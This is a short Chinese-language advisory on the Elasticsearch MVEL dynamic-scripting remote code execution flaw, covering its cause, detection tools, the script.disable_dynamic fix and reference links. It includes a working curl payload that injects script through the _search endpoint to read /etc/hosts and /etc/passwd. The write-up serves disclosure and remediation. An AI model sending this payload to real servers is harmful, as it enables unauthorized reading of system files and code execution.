原理
这个漏洞实际上非常easy,ElasticSearch有脚本运行(scripting)的功能,能够非常方便地对查询出来的数据再加工处理。
ElasticSearch用的脚本引擎是MVEL,这个引擎没有做不论什么的防护,或者沙盒包装,所以直接能够运行随意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户能够直接通过http请求,运行随意代码。
事实上官方是清楚这个漏洞的,在文档里有说明:
First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.
检測方法
在线检測:
http://tool.scanv.com/es.html 能够检測随意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 仅仅检測localhost。只是会输出/etc/hosts和/etc/passwd文件的内容到网页上
自己手动检測:
curl -XPOST 'http://localhost:9200/_search?pretty' -d ' { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*; import java.io.*; new Scanner(new File("/etc/hosts")).useDelimiter("\\Z").next();" }, "/etc/passwd": { "script": "import java.util.*; import java.io.*; new Scanner(new File("/etc/passwd")).useDelimiter("\\Z").next();" } } } '
处理办法
关掉运行脚本功能,在配置文件elasticsearch.yml里为每个结点都加上:
script.disable_dynamic: true
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
官方会在1.2版本号默认关闭动态脚本。
https://github.com/elasticsearch/elasticsearch/issues/5853
參考:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html
http://bouk.co/blog/elasticsearch-rce/